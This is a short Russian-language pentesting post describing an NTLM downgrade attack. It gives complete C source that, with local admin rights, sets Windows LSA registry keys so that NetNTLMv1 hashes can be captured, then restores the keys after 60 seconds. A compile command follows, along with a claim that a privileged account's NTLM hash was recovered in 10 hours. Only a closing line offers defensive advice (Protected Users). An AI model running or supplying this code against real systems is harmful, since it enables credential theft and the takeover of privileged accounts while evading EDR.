Совсем недавно Миша выложил инструмент LeakedWallpaper, а я уже успел применить его на проекте. Все отработало отлично! Но зачем нам нужен NetNTLMv2 хеш? Давайте подумаем, как можно улучшить технику, если на компе злющий EDR, но зато есть права local admin. С правами local admin вы можете с помощью манипуляции ключами реестра сделать downgrade NTLM аутентификации до NetNTLMv1 и получить уже хеш, который можно восстановить в NTLM хеш в независимости от сложности пароля пользователя. Для этой цели я написал небольшую программу, которая бэкапит текущие настройки реестра, затем делает downgrade и через 60 сек восстанавливает все обратно.
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep
void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Ошибка чтения ключа реестра.\n");
}
}
void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Ошибка записи ключа реестра.\n");
}
}
void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}
void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}
int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;
ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);
// Задержка 60 секунд
sleep(60);
NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
return 0;
}
Компилируем так
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c
В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.